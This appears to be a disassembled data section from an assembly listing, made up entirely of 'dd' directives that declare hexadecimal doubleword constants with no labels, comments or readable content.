		dd 154F66DBh, 0A260D91Eh, 0BF8DCC39h, 0F8301583h, 0F600CC2Ch
		dd 0B9DDA840h, 0E300F947h, 1E49B47Eh, 3F4C85h, 8B25320Bh
		dd 3B2F268Ch, 7EAACD00h, 0E2D4C679h, 96A0007Ah,	14280552h
		dd 0C33F7C6Dh, 54E91C44h, 6F0070ACh, 0EC64329Ch, 92DC130Ch
		dd 0FDF001B4h, 0F83DDBB1h, 4E014DFFh, 0D1820699h, 76D0C3F6h
		dd 0F33300E7h, 0EDDB5C1h, 0C5242A2Eh, 3D00A396h, 0B8FE4068h
		dd 8A0C00EDh, 0BE9DB5DEh, 3700B0D9h, 239714E1h,	0B68F548h
		dd 0EE266AC7h, 316CBCA2h, 2DF87843h, 92743648h,	6B88F100h
		dd 8413CAB2h, 9DE90026h, 69421076h, 4D58D15Ch, 6DC21F50h
		dd 50A72A80h, 0FE1DB96h, 5B5D1244h, 1D433540h, 64008D2Dh
		dd 22079969h, 244D09AEh, 0A71BFFh, 0BC2ACB79h, 0A4EECA39h
		dd 2CC0E48h, 0DB9544D0h, 3C2B60E3h, 92160072h, 9185D763h
		dd 2E007570h, 62A9E586h, 32BE48h, 47F2060Fh, 9E819724h
		dd 53EDB612h, 7AFCE400h, 37E63DFh, 0CA46F91Bh, 0E7E87428h
		dd 0BB72204Ch, 4D5A2303h, 8EBCDE3Eh, 0D4770E10h, 8D893C56h
		dd 0CC02120Bh, 0B1C28B2Ah, 0BEB4E060h, 0EDC9AC04h, 0ED801881h
		dd 12A737C7h, 0CDEC5Eh,	0CAD496DCh, 0B7001335h,	7E1F4886h
		dd 0FE68C30Bh, 5E50C33Eh, 83C94484h, 0CFEEF8ADh, 0A697DF00h
		dd 2E94C9BFh, 6CD30036h, 6AA57944h, 0A000C27Fh,	6BF9F066h
		dd 782186h, 33E665ABh, 0F67A80CDh, 98895200h, 3FA36296h
		dd 0AAD000FAh, 243BE95Dh, 0D183067h, 0F6E03A15h, 14130059h
		dd 645538D5h, 0BFE854BEh, 0B5421802h, 43B19A75h, 0B3A801CAh
		dd 631F90C6h, 87C9D769h, 3491ECD4h, 0AC00144Ah,	0C445411Dh
		dd 64B05C9Ah, 113A2503h, 87A87E0Ch, 48C004ABh, 2CDA5020h
		dd 66470095h, 6DBCADD3h, 0B0FAC783h, 550BCB18h,	1637A641h
		dd 0CE7EC9h, 89E7B925h,	0F379097Ah, 0B881D100h,	0C2D8FCA1h
		dd 5498A7h, 751E2211h, 0B7A8B6F9h, 76A5D748h, 8931DD02h
		dd 4004E67Bh, 0E4688F7Ah, 0F7E90008h, 16971B3Dh, 611332A9h
		dd 801D62Dh, 0A167047Fh, 4CC1A070h, 0A50F8AC2h,	43DF8217h
		dd 42AB9CE6h, 39F7A688h, 72CEE103h, 252D56h, 3C19B730h
		dd 0C2B01BB5h, 581FE900h, 1C70E5B1h, 6B18244Fh,	9AD40048h
		dd 35782924h, 4E070507h, 4F9027AAh, 0B1BF33h, 8A9E53F0h
		dd 1AF2B568h, 0CFC7C800h, 846F8072h, 0C5D500D7h, 65B27928h
		dd 0DB16FBE1h, 2C0085A4h, 0F1B7CC36h, 9BF0006Ch, 4FA7C061h
		dd 0A3865CBh, 16C680B9h, 8ED1A23Dh, 0ED71132Dh,	78F1031Dh
		dd 0DA9884B3h, 0DE01CFFBh, 44C496DFh, 0C840C91Bh, 0AE46A5h
		dd 9819919Bh, 89A2EC67h, 8EE00C07h, 6E503AEDh, 1618A6B6h
		dd 0FF3BD375h, 129E9200h, 48BF6C95h, 39002C97h,	9AB9A3Fh
		dd 4C013B7Bh, 3F6AD71h,	0D66029C2h, 0B41000E9h,	3513F237h
		dd 6700BF1Bh, 0A2C55D3Bh, 0E0034Bh, 0B2B8D3B9h,	478E91FDh
		dd 0A76D100h, 0A10FF707h, 0CFB9018Bh, 0D93AB509h, 70B03074h
		dd 0D500F8E0h, 721E3BA4h, 0BD6A35h, 0CA440149h,	3DC616Ch
		dd 506DA103h, 0B1B16536h, 0B3E4633Eh, 0E447CF3h, 9813E09Fh
		dd 0BCA7CEB8h, 3DC1B700h, 24B3B531h, 165B75BFh,	121DF9Ch
		dd 0EBEF2873h, 0AC1DC88h, 0EE51A200h, 4DF9B2B0h, 0AB9006DAh
		dd 2089B56Bh, 4A708601h, 0CBF16087h, 183455F4h,	4132FC2Bh
		dd 0A801C21Dh, 0BE3F61E2h, 398E6319h, 39E74D8Ch, 4882B30Dh
		dd 51D9CA88h, 8658DE70h, 0A58C8578h, 8C85EFh, 1FE19738h
		dd 0CA131765h, 0F002069h, 0B77B9F25h, 7FE90022h, 0B948D3BAh
		dd 0FEECE27Ch, 0B4BEF800h, 1813B11Fh, 4CBCB2AEh, 0BC4C20E8h
		dd 0CCB9EB00h, 0B79E4144h, 82395E09h, 2C38804Dh, 3A3A02Dh
		dd 0D8AB07D0h, 0FCD091D5h, 54B86899h, 8B117C0Eh, 53A24281h
		dd 0BB30E0F9h, 3A7301AEh
		dd 0D70BED31h, 4663C4A4h, 85C14A0Fh, 0A05E6C5Bh, 0D08400F1h
		dd 0C26F03EAh, 0F8B8627Bh, 42E8F8A3h, 1D003613h, 3EA01F22h
		dd 74AAF4h, 0D043EE12h,	0ED04F89Ah, 0F0A6370Bh,	2AC42232h
		dd 0D428D9h, 0F812A87Dh, 500072E3h, 0F491AD8Dh,	5B6C7495h
		dd 1F9E89Fh, 64E9FCEDh,	0B2EC7C56h, 764B879h, 7E67F576h
		dd 8E0310B3h, 0CD2EC195h, 540268F6h, 0E0DB87C5h, 8B2DEAh
		dd 8AD671Dh, 6035688h, 0E8C05A74h, 870CA8E7h, 0C0EA130Ah
		dd 0C0EA1FB2h, 3A343D12h, 9E002E89h, 0FAB4E17Eh, 0E8DE32Ah
		dd 0A4E810ACh, 9C09BC60h, 0B912BB73h, 0DC00ED1Ah, 0E47FB57Bh
		dd 0D9E1007Ah, 894710E0h, 0A003278h, 0CA3AE80Eh, 64E596h
		dd 75122CC8h, 0C428FB58h, 0D78CED03h, 0C34E3BF9h, 89408FAFh
		dd 8A50D5h, 0C49D3DD0h,	1A6C87E7h, 0DB2AE602h, 0E0344C24h
		dd 0F61DA9h, 2352EC96h,	0D3176737h, 66703D00h, 19536534h
		dd 0CFF085h, 0D5FDDCEBh, 5DF1B95Ch, 0F5E52300h,	6EC118E8h
		dd 0EE28C72Ah, 0D52EF1A5h, 0ED108028h, 30E8BB1Eh, 4AA10122h
		dd 82D209FBh, 0D0318BB8h, 7D24837Fh, 0EDCBB835h, 2B6A38F6h
		dd 18382160h, 8A006B56h, 6981C382h, 787948h, 2653A530h
		dd 3905B8D7h, 80B48D3Ah, 6360337Bh, 3E774CFAh, 0EE8FF2EAh
		dd 2C2082C5h, 0ACD63E89h, 2350E61Eh, 0DD35180h,	3AF9FC85h
		dd 52875E47h, 8A6E321Ah, 46330188h, 68A42B4Dh, 4240078h
		dd 0F16E5FC2h, 680C00F9h, 53C409Fh, 560080DEh, 699E3A9Ch
		dd 98397EB6h, 92290024h, 840DA46Fh, 1026E343h, 80C4C9Ah
		dd 39911B0h, 0D40EA6D8h, 94E8855Dh, 800017DFh, 5E671E04h
		dd 443F89Dh, 21E7054Ah,	1B0F51h, 0D045F95Bh, 404A2Ah, 6CADFE08h
		dd 0B0E306Ah, 817867F2h, 0C6DA05BDh, 1D5D40D0h,	1F271C34h
		dd 0C1580064h, 3AC94A13h, 5743FE1Eh, 8ECCBF3Ch,	46F5041Fh
		dd 0E71D4AAh, 401C4A0Bh, 0FC406A8Bh, 0D80066B8h, 9F98E8ABh
		dd 496D34h, 90827651h, 1C56740Ah, 0A0BF5901h, 0E2B357FEh
		dd 33719FF0h, 6C683EE9h, 0DEEA4900h, 497D227Fh,	8266048h
		dd 1F0B3C52h, 0BCAB822Ah, 0E86FB290h, 906A0630h, 78700E0h
		dd 0AA9D065Dh, 8000F834h, 0E35FEF95h, 7CEACCh, 9186A38Dh
		dd 2C9E739Fh, 0FBDB9D07h, 0D26024E9h, 0E9B83EBh, 4B077BE2h
		dd 60D02327h, 7541BF36h, 0EE9DCC00h, 2BAF29F1h,	32B30191h
		dd 24A79056h, 0F57BF00Dh, 6555B51Dh, 0EE002A5Dh, 98309D18h
		dd 60FB0009h, 25CB4C83h, 44F6AC5Fh, 22766C00h, 7FE1C6E6h
		dd 91590077h, 0CE724C2Ah, 0DC3F2F88h, 0AA5E0079h, 3CEC1F95h
		dd 2AB7004Eh, 206FA0CBh, 1124E430h, 7017F01h, 0E976647Ch
		dd 48FD8851h, 38E9C631h, 861CD043h, 21976508h, 0A433805Ch
		dd 61C4D9Ch, 0F540A276h, 0F40D64B0h, 73370049h,	89F3DD7Eh
		dd 2A7F69B9h, 18B5B430h, 29C8A03h, 4F50C97Bh, 0C8A09ED4h
		dd 4A26B817h, 0CCD3C58h, 8AD3440h, 28BC19h, 6326A041h
		dd 49983BEFh, 0A72C200h, 4D11E2C1h, 42806B3h, 51BF6996h
		dd 9C8BB704h, 30885F44h, 4C407FB1h, 60061C20h, 8A8D0ABh
		dd 0AC216660h, 2BF58h, 0D5F9BDAEh, 3ADE7A6Eh, 69035E7Fh
		dd 0F6E51BB1h, 68086FC0h, 12FD479Eh, 0B759C018h, 7E4985A3h
		dd 0D99B009Ch, 0DBF9562Ah, 0C0E90E4Dh, 888C4A6Bh, 71000121h
		dd 0ED53282Bh, 15C9663Ch, 0B0EBE78Ah, 0CB657701h, 0E35A0B80h
		dd 0B42D6818h, 0E05F781h, 0FF43738h, 93D1EB60h,	83003AA8h
		dd 85D9406Ah, 0DAA182h,	0BB75A5AEh, 0E86BE2F7h,	0F8746C00h
		dd 0FACD7B2Ch, 768A1EE9h, 50F44069h, 93180C1Ch,	27D7F900h
		dd 0B6DFE4F7h, 0F2438B2h, 34EA0180h, 0F55D5166h, 2F002D74h
		dd 0FF99B517h, 1C9AA248h, 0C20DBEA1h, 2DFC418h,	0CE2D8760h
		dd 3BAE403Dh, 0D44E00D9h, 6FCA8A9h, 0BA7E00E7h,	0A501103Bh
		dd 0D27C8D26h, 0CFA52B50h, 603D9803h, 0E80F49D7h, 785D47Dh
		dd 0F663FBBBh, 72C780F5h, 6F3F482Bh, 31CD93D2h,	0B5B24400h
		dd 187E023Dh, 186D25A4h, 51C00392h, 0CAA9BFFDh,	0E9DA00C0h
		dd 0F0D2A1BCh, 94E867D6h, 0EC751A00h, 0CA080C23h, 0FE6190E6h
		dd 17240034h, 0B6A33E50h, 0E500275Ah, 5427119h,	15380FDh
		dd 0E2947EB3h, 81C8970Ah, 0B75E0268h, 808066A1h, 7E80FA44h
		dd 883957EDh, 6E647DC3h, 81BF24C0h, 0D8225ADCh,	0C187A6Fh
		dd 15802707h, 48166310h, 0E11C0195h, 23810BBCh,	9CA7A2BFh
		dd 2AC9D2E0h, 103C820Ah, 1C4E6Fh, 0D116383Fh, 7303AC78h
		dd 0BC3200F9h, 26651D47h, 280C312Dh, 2040D264h,	73FD07CDh
		dd 0B0E6B518h, 4C7DBCF2h, 428A0A00h, 0A2D37AE5h, 181A406Bh
		dd 645F40h, 92428D4Eh, 105AD44Ch, 0B20411C0h, 792C2151h
		dd 0E56718B1h, 4DA108E8h, 1A5320C0h, 90F50D51h,	71160773h
		dd 5032EC4Bh, 0AE67F394h, 37EB4E2Ch, 11753F07h,	66121391h
		dd 4762718Fh, 0EB6100D3h, 53F86E48h, 61604974h,	69FE3D21h
		dd 688F02EEh, 2C07C22Fh, 28308640h, 0F0234430h,	50CE8B4Eh
		dd 8CE730BEh, 0C66A4B0Eh, 644988CAh, 0E239406Dh, 73D369h
		dd 458A0E8Eh, 41075B86h, 0CA82AC07h, 1FA00190h,	0BABC13h
		dd 3DCC6E25h, 713B7CDFh, 8F200A00h, 0E7CB9321h,	9EDC1D13h
		dd 0F6590092h, 1A29A92Ch, 58B82E00h, 4ED8D5Fh, 2B940056h
		dd 0E4EFD1FDh, 0B500A38Bh, 0FC33B7DFh, 36E571h,	6A923D31h
		dd 265601D0h, 41E1100h,	4AD640A6h, 8C621E44h, 0CEA500F1h
		dd 913AAF79h, 271C6E74h, 8B7A45Ch, 6A5010C0h, 0E4F21E11h
		dd 0A5303AE8h, 0F9419E18h, 0BC2738C0h, 0EC442EE3h, 0D10F03D2h
		dd 0C0B9995Bh, 8E0020A6h, 343BADC5h, 244FA3Ah, 0DD3E82E7h
		dd 0EF06BA8Fh, 400F0328h, 0C4ABE249h, 51A61100h, 0FE61B107h
		dd 0C0D4EEECh, 0A01ABE51h, 540086B9h, 0C1988BA4h, 40CFF689h
		dd 5330C742h, 0CA1EC911h, 0C8BD0104h, 0A4EE2588h, 8AD9805Bh
		dd 0A62ED857h, 0DD11180Fh, 0B93919A5h, 0EB55119h, 0D6F56EC8h
		dd 80FFFC11h, 8E51E3F1h, 2443C31h, 6CD7731Fh, 9706EA2Bh
		dd 0AEB03A48h, 0C69E9B50h, 83ABC59h, 8E02F098h,	4F87823h
		dd 67B76086h, 7022630Fh, 31005FA4h, 0D882C7Ch, 2A06E73Bh
		dd 44CCAA17h, 8A160C46h, 80390F0h, 11A1848Ch, 0A59F970h
		dd 0D05EA69Eh, 3296EC43h, 5798B418h, 8A5294A3h,	156E00C4h
		dd 930154h, 594E7F61h, 0B1BC3844h, 0D519163h, 1D849876h
		dd 633A0011h, 5E981CBEh, 0D7EC2A71h, 94C3A72Ah,	0D6C07A00h
		dd 9CF1062Fh, 0BBA807C8h, 420BDE69h, 44A1A2ECh,	4997CC11h
		dd 0F7200090h, 2DEE84C2h, 6D03E7ECh, 0D9A909D3h, 0BC201887h
		dd 1CD629DCh, 0F9B11809h, 0DD6022A5h, 0A6992113h, 812980DFh
		dd 0A702239Bh, 0C49FAF8h, 0A1FB11B9h, 0F4A40479h, 3AD03D54h
		dd 4943DC37h, 28D11EC2h, 0E560EFC0h, 9EF9D8BFh,	0D05BC735h
		dd 656C3C30h, 3FCEF406h, 2CD04FE4h, 3B998878h, 0B836A60Eh
		dd 0A433801Bh, 1104CBh,	0DB7F01ECh, 53A02ACAh, 15316D60h
		dd 1C8D3CBh, 5B9CE21Bh,	603CBEB2h, 0EF1EA790h, 7FCE4F4Ah
		dd 50D8D923h, 2A271BCh,	0B990A430h, 5D980Ch, 0F4CECB2h
		dd 75CD3F73h, 13C59C02h, 98A87921h, 0F9BCD0h, 0CCD9DA82h
		dd 0EC08E989h, 905360CAh, 62D07D40h, 0D48328A9h, 39816094h
		dd 0DBF8DCE3h, 0C6085415h, 3FD822DCh, 7E04A56Bh, 80DA8E81h
		dd 241E336Ch, 0C401E1EAh, 6E415F34h, 318ACF23h,	80C00AFCh
		dd 0EB13D68Ch
		dd 335C6A95h, 1D6E000Ah, 5D681CE0h, 7669324Ch, 5220F930h
		dd 24F1CC87h, 873424D5h, 49262F6Eh, 12493CB0h, 62B131C0h
		dd 7357F401h, 69F0004h,	302E225Fh, 10073914h, 0FE0D3CBAh
		dd 0CED28028h, 13A8D350h, 481DAE00h, 8BD54062h,	0C98A09A4h
		dd 24A58519h, 0DC040199h, 507B53E8h, 0FC9373A0h, 4CE3F300h
		dd 785ECB35h, 0B203003Bh, 7D627FE9h, 0BA01C7F6h, 65EB2199h
		dd 0E45094B1h, 354423Fh, 370CE439h, 5980CF7Fh, 0A23D4315h
		dd 241FBF65h, 0BAF4BBh,	24A4AD0Ah, 4CE9A169h, 8442A8E5h
		dd 63351000h, 0C1D730D8h, 77D8FB52h, 74E5A88h, 0E9F66E73h
		dd 0D906F0DFh, 1904CB20h, 0B7827535h, 20DDE092h, 0F78387EFh
		dd 0E1F43013h, 58F54C44h, 135B5D21h, 0F8083744h, 2455C510h
		dd 0AE0C82DCh, 0DAC7A820h, 83E102B1h, 405F0B13h, 346887C2h
		dd 0DC45106Eh, 894C6030h, 0C827A5h, 6730C809h, 4093D3A7h
		dd 0D95CC7B8h, 0DB0074CFh, 494316A2h, 31D40EECh, 0A4391F7Eh
		dd 0E3898093h, 9F6E978Fh, 513000F4h, 0C748BF8h,	38A02EB2h
		dd 9560A4BCh, 3A657531h, 0BA7C3Fh, 52D8E0F2h, 0B010708Bh
		dd 0A9BB9000h, 96C972B7h, 3AD4A96Ah, 0B06085CEh, 805F2808h
		dd 4075F977h, 0E9151659h, 3FD4F6F5h, 0F4F4A69Eh, 0D1119C4Ah
		dd 2052C412h, 9348CAD4h, 0AC5285FCh, 58B11130h,	7A285D03h
		dd 11991A84h, 309032EEh, 0F90F690Ch, 22FC81BAh,	0AEA80F80h
		dd 856260CBh, 15B1FDh, 7C93C47Fh, 4DC5B363h, 1C5381C6h
		dd 64733C89h, 1EB27C80h, 0F3D03628h, 0ADEBE200h, 0BA4C44C5h
		dd 90C91A1h, 6090923Ah,	0C26AC76Eh, 813098D9h, 68C59A6h
		dd 0A1457A47h, 0D402A983h, 403BAE60h, 0A4586B43h, 2E9EF88Ch
		dd 605CFAA9h, 997DF7ECh, 0CD0A28DEh, 0F1137888h, 2C807C00h
		dd 5207B44Bh, 9901B4FEh, 0F35CFF01h, 2EE5C83Fh,	0C7984518h
		dd 890EA761h, 0F83253h,	0A2418AC0h, 2601A57h, 80DF8B91h
		dd 0A869FFA9h, 59801404h, 0FCAE3A6h, 14C42560h,	0C2D82496h
		dd 0A6106720h, 7588A8C1h, 41760062h, 8AB31553h,	4B18C354h
		dd 6621D9A7h, 496500B7h, 0B2B05F9Dh, 0DE39B11Bh, 7C67012Eh
		dd 96D2AA3Ah, 0B4585032h, 0CF52E5C0h, 597353E0h, 7F64EB00h
		dd 0EC61AEC9h, 308D4CF9h, 9118E69Dh, 5E940FD5h,	4CBFA03Dh
		dd 28452C0h, 0C6D9D446h, 0BCA47CFFh, 0F664C8A4h, 0F1D13507h
		dd 4330A74Fh, 0A4B70h, 637A256Eh, 0BAF59B0Eh, 61FB1088h
		dd 0A9E39A4h, 0C2F0544Ch, 8B2F59E8h, 987CB243h,	0C146FC28h
		dd 3DAA8F19h, 22A4F187h, 0F4E80180h, 4042A0E6h,	0F6554988h
		dd 0D04304Bh, 843CA0A4h, 90828A92h, 8052D7CBh, 45B29001h
		dd 4FC6DBF0h, 0AF3404Ch, 0A9CE1A80h, 2C7693ECh,	86E04538h
		dd 0BBF77000h, 0CA46C7E7h, 7415129Dh, 0AB3444EEh, 0C31142F4h
		dd 114489A7h, 0E22BE0h,	8AD0550Bh, 808ED0AAh, 99433291h
		dd 2F9721F8h, 3557FC96h, 74D4DA08h, 45CA602h, 400453EEh
		dd 58D8A8C9h, 9EA0E03h,	79180EBBh, 4752A49Eh, 1814509Ch
		dd 0C010FC88h, 74ECC819h, 9D00EEE6h, 4A931182h,	9FF2C01h
		dd 733A5C7Dh, 441A848Bh, 505368C9h, 87ACB640h, 0B755BC04h
		dd 45C75702h, 0CE6894CEh, 75B078Dh, 88E1BBB2h, 0C260B0CCh
		dd 1294512h, 0AE950A2Dh, 0F1FEA228h, 0A20828D3h, 18D91976h
		dd 492E0099h, 28F96C95h, 5E127861h, 10210F3Fh, 0BC1294CFh
		dd 1F00AC44h, 289D23FBh, 27D89F5h, 0E5BFC24Bh, 54669120h
		dd 0CC649758h, 0F1267857h, 0F1DB823h, 949243A6h, 8801C1EBh
		dd 0CC7F208Ch, 646142C3h, 480A6020h, 20900880h,	333D9900h
		dd 0B7FC9897h, 474254Dh, 0DE8A63F7h, 0DB2AC5C1h, 0B3B46424h
		dd 331680A4h, 5D482077h, 3A450825h, 45C86234h, 0BBEF80D4h
		dd 0C080AD03h, 5C593612h, 0C66E3491h, 48534C42h, 13511360h
		dd 2188D31Fh, 72DD11E0h, 8AB3408h, 9BB4CCh, 3A67D55Fh
		dd 19BD30F2h, 0EF2EFB1Eh, 33C6B8C0h, 522F3661h,	1C75484Ch
		dd 61B97BAh, 7917730Eh,	0EC7FD429h, 823BDF0Bh, 0C40DD02Dh
		dd 751B0008h, 617F76BEh, 549CA26Ah, 0C0AE9E05h,	0FAE0288Ch
		dd 201493D5h, 0E6A42414h, 529564D8h, 0D81D9C33h, 3DC8C86h
		dd 82EEA6F6h, 1088BA0Ah, 98963567h, 0A843F508h,	53E444E4h
		dd 0B500C0A4h, 40F3BEA6h, 3F45A2h, 76FEFD2Eh, 7F8AC5E7h
		dd 0F124B624h, 0D7489825h, 60CF2CD2h, 418D004Fh, 547EAA91h
		dd 0C0B4C0D0h, 0B5E7458Ch, 0C80300F3h, 2691ADBCh, 0A6023508h
		dd 0C258B87Ah, 0CFCA484h, 0D3B21940h, 33304C45h, 0DD2B8C03h
		dd 0EC1C0172h, 0ACBA6948h, 913424DBh, 2A4A256h,	6E4E3FECh
		dd 4CE43ADAh, 85D5A600h, 1DC89E9Ch, 199EEE3h, 2DF15533h
		dd 127A1988h, 173220C1h, 27F6A042h, 4C41A704h, 3092E94Eh
		dd 40603AF2h, 0DC9B5BC3h, 0D212E2A8h, 7C492DC4h, 0BC54B8C7h
		dd 27087BC9h, 9C23A4A2h, 0C08F7D15h, 0A636BA8Fh, 0A11D90F8h
		dd 0AC12A4A8h, 59EE7021h, 625F9E11h, 3041D760h,	3A40DE0Ah
		dd 5C403033h, 3C6082ACh, 0A74F2A0Ah, 0DDECE041h, 2DE47787h
		dd 6DE10959h, 84E4BB01h, 73A5C504h, 7CD17F62h, 0B8FAD9DAh
		dd 0FB22E4h, 0F95167CEh, 0BD55BA12h, 53A66500h,	0B2277AD5h
		dd 60334F7Eh, 0FD063060h, 0F12DE30Eh, 0F88AB46h, 0FEE903EFh
		dd 0F4C1415Fh, 0A14192E4h, 983DA408h, 9FDDAB00h, 0EE8A08DFh
		dd 0EF74B907h, 0D2607A77h, 820EE5B8h, 506064EAh, 7C98BB8Eh
		dd 8034FE58h, 49705DD4h, 0A7D300FCh, 0CDBEDCA0h, 0CC0C40A4h
		dd 38BBC689h, 6FDA01F9h, 1F16499Eh, 97F82404h, 532AECA6h
		dd 820EF409h, 1A18CDh, 0E8F1FE74h, 0FDED07B6h, 0D92AB93Ah
		dd 117A0C22h, 0C4D86E22h, 48C74AC4h, 5480F7A0h,	0FB5F0B2Fh
		dd 976030Dh, 0E6D7497Fh, 0DB4329E2h, 8DDB1EF8h,	5CF8102Ch
		dd 0DC540449h, 7254C524h, 8059AC90h, 0F5076E91h, 34DA97h
		dd 0B0BD7293h, 7854E707h, 0EC69B14Fh, 36D302ACh, 0C8A99A44h
		dd 64C94C59h, 14EA0060h, 290E524Dh, 7037182h, 9AEF887h
		dd 11A1274Eh, 19EDAC9Ch, 0E483C402h, 678201F4h,	87FDC586h
		dd 112C72F4h, 484CFF43h, 0B5DDBDC0h, 311A068Fh,	1841A525h
		dd 1B2EFD8h, 3F64B9D0h,	0F920509Eh, 5558E824h, 0E3E06600h
		dd 0D2339F2Eh, 1049580Dh, 0FFE86287h, 80753F60h, 6E28E260h
		dd 165D5822h, 0BC531F68h, 0FA1D858h, 99222440h,	1C5200FEh
		dd 0ECA9B0F4h, 3B84AC94h, 0DC889B40h, 0F10F5CCh, 7B14837Fh
		dd 0D0E0C6C4h, 0C9F84D90h, 3104CABh, 0CBB29ACh,	0FA88B534h
		dd 51A2C6Bh, 4470C2EAh,	2AE93018h, 0C4B71860h, 0A487102Ch
		dd 30109151h, 4000FA0Ch, 0F92151DDh, 15087F4Fh,	0CCB8DC5Dh
		dd 1022CC58h, 0B360F0B4h, 7C7AE35Dh, 0C93106D5h, 0F0CB1E91h
		dd 94509E44h, 0D820CF00h, 0A2367FA6h, 17C46800h, 1645497Dh
		dd 7444E99h, 1CFE89CCh,	6C00B931h, 0F649C5C1h, 7D3F46F5h
		dd 9CA129F1h, 59213EA8h, 3990D40Dh, 2C01ECE0h, 0D28FBB6h
		dd 71318D0Ah, 84CEFA14h, 0EA0136FEh, 13076B05h,	0E3F025C0h
		dd 9E349924h, 0E9B8E611h, 0B8F978E8h, 6144BF32h, 0ACDA53h
		dd 102BA681h, 37D55623h, 6452E31Eh, 0A418D4E6h,	7612779h
		dd 0DF654B8Bh, 0E455C4ECh, 0B302DB50h, 64DE564h, 5344A304h
		dd 0DAE10240h, 9D0A83ABh, 0AE44B47Ah, 708B1A8h,	48A701B2h
		dd 0A6895180h, 262BB7h,	56E3D37h, 0EE18E959h, 0A060BA4Ah
		dd 6701EC7h, 6596366Ah
		dd 0A64C5026h, 0D938114h, 36F8049Eh, 314B9A7h, 4AA573D6h
		dd 0F176CC00h, 5B4615E1h, 37213ABFh, 0A8B2C61Ch, 600C9C94h
		dd 7F12035Fh, 0AE49A31Fh, 993EE7C0h, 17E62BF1h,	20745648h
		dd 0DCE8EF0Ch, 4368B150h, 600BC900h, 1210B2EDh,	7AFB0262h
		dd 547DDEF7h, 6176185Ah, 0C8014674h, 0F4D9DF3Bh, 0F180F076h
		dd 78B1DBC7h, 853C627Ch, 24224F9Ah, 4B845047h, 1BF44EA4h
		dd 0A6C1A281h, 9333E072h, 0B8901100h, 0C2F7D67Dh, 463F15C3h
		dd 0F811C8F1h, 0C8204A5Fh, 22C10A38h, 55229CFEh, 40709412h
		dd 0E77BB0Dh, 0EDDF0A0Fh, 0FCA1EA2Bh, 3C82C0C0h, 8C76552Ch
		dd 8F834C6Ch, 0E6C06B8Ah, 7AB003B4h, 0E8BAF62Ch, 0DBA3A8E0h
		dd 51BD0095h, 3862FEA5h, 2B0115B5h, 0AF02C8CAh,	6439C29Ch
		dd 8EC0A19h, 27C189A7h,	41A432BBh, 0D91076B8h, 0E600BF3Eh
		dd 0DAF4B08Bh, 164207A4h, 880398F3h, 0A688F520h, 9D203DFh
		dd 142BC74Ch, 0CAE56DC3h, 49AB2188h, 4FD14098h,	80353D39h
		dd 60E0575Ah, 4E9CF941h, 0A5D8016Ah, 30C4B80Eh,	0FA7BF8F4h
		dd 811C0F5Dh, 0BB47D66Eh, 7CCC67h, 0C7E796ABh, 693A0266h
		dd 0A4144300h, 470FF495h, 535B13FAh, 16B498C3h,	933E0F4h
		dd 0A4D219D8h, 62DD1C00h, 4B00E555h, 0DC066193h, 1AE6970h
		dd 0F273B6EBh, 3DD7D657h, 1CC322C0h, 403C38F1h,	4C731811h
		dd 15F8EC6Ch, 7C50A326h, 97E81949h, 52209E12h, 3A718B9Ch
		dd 600F02C2h, 2C7FAB04h, 0A75B0B52h, 0B2606CB8h, 0F0619A00h
		dd 2174908Bh, 9147FC7h,	0E2D3A31Dh, 9E13D064h, 8CC8E6BAh
		dd 0FF588411h, 656A80D0h, 63502AEh, 0FB8993A8h,	826C44F9h
		dd 0BBD938B9h, 0F318348Ch, 0EDB1F98h, 0ED7712C0h, 970D7CDh
		dd 9AE56E75h, 8F161C44h, 0BC938772h, 19DB880Fh,	0DD7100ACh
		dd 1BAE0A5Dh, 924927ADh, 0B053253Ch, 4C11CB08h,	3A0158B4h
		dd 55DE3E41h, 1F8991F6h, 63A5F401h, 0D8A00ABBh,	4200F71Eh
		dd 6C1A75A3h, 4D44826Bh, 5922103Bh, 0D606FEFAh,	42A0DEBh
		dd 7B9616E1h, 0FBC004ABh, 0B60F4E49h, 0E3843090h, 0DD4A00DCh
		dd 9EA73FCEh, 0F4BB0C70h, 803C9C21h, 0F9CB16ADh, 8BA53080h
		dd 0C9C70AE3h, 2711388Fh, 81FC380Dh, 9B890286h,	590752Ch
		dd 331C68D9h, 67CF7D00h, 177C3DCCh, 38AC65BAh, 0EF00E8F8h
		dd 41D919AAh, 590EBADh,	7D3B33E7h, 303CCD1Dh, 38495C8h
		dd 160D857Fh, 7100F2FEh, 0F4BD438Eh, 2CE77603h,	16D4B4ABh
		dd 1B9CD049h, 0F7002AC3h, 972F7F62h, 0BA6B94h, 6E4E3BADh
		dd 90FFA22Eh, 1D9A869h,	0C4A99924h, 92115472h, 48D04D4Ch
		dd 97EAC050h, 256D7F0Bh, 0F410E2E1h, 0C378DA6Eh, 0F5400CBEh
		dd 17A4DB7Fh, 0C8BB35E4h, 9FFFBC54h, 1E80B029h,	7B727F42h
		dd 0B92F00FDh, 0A308944Eh, 8E154A96h, 10880A26h, 0BC909787h
		dd 0C7352CC7h, 0D3740005h, 632598A4h, 0A9782220h, 100911F7h
		dd 73EEEFF4h, 0DA51003Fh, 96E16975h, 0AD151FE2h, 1180D953h
		dd 6E1211DBh, 0D140DD24h, 0B42252h, 0DF6E1B69h,	2E77F54Ah
		dd 0B4FF73Eh, 0F418B932h, 761C756Fh, 0FCE60198h, 80C73AC2h
		dd 0E7E99924h, 7F0209BEh, 5C197ED4h, 5A4C34A2h,	496888h
		dd 67C5123Bh, 0CF5931CEh, 0A3D71514h, 0EA240124h, 0A9C79176h
		dd 62C60FF0h, 6D757142h, 0A05C902Bh, 2C738Dh, 2A54B7D4h
		dd 0CAF504Dh, 0D9DCC810h, 308884Ah, 20392604h, 0C9C3F6Dh
		dd 453302E6h, 0DB9B772Ch, 70141809h, 7DCD000Fh,	0BD933C9Fh
		dd 5354A2F8h, 0AA4584ECh, 302B44Ch, 5B396C21h, 0D5A9B51Ch
		dd 85A02D7Fh, 1C70CC11h, 74A1553Ch, 76F16C9h, 0C85434D4h
		dd 2102CAB4h, 0F0ECA638h, 44887A5Dh, 9E00EBC0h,	0B117804Ch
		dd 12067F8Bh, 29DB6EB6h, 7C442A00h, 0A5400BFEh,	4649D957h
		dd 80ED1738h, 80A7694Ch, 0F48E6F7Fh, 0C0E8B4BBh, 2E4E1A43h
		dd 0C104350Bh, 706CADh,	0E2B63B6Ah, 381C3D77h, 6DEE5E02h
		dd 820183A8h, 46913A84h, 971E4250h, 67ACCC0Bh, 14D82910h
		dd 0F8310CD8h, 3973D4D1h, 0F1CC0230h, 6124D21Ah, 0E510F53Ch
		dd 3009DA86h, 2E0751Fh,	0D9040634h, 5C602574h, 50A052E8h
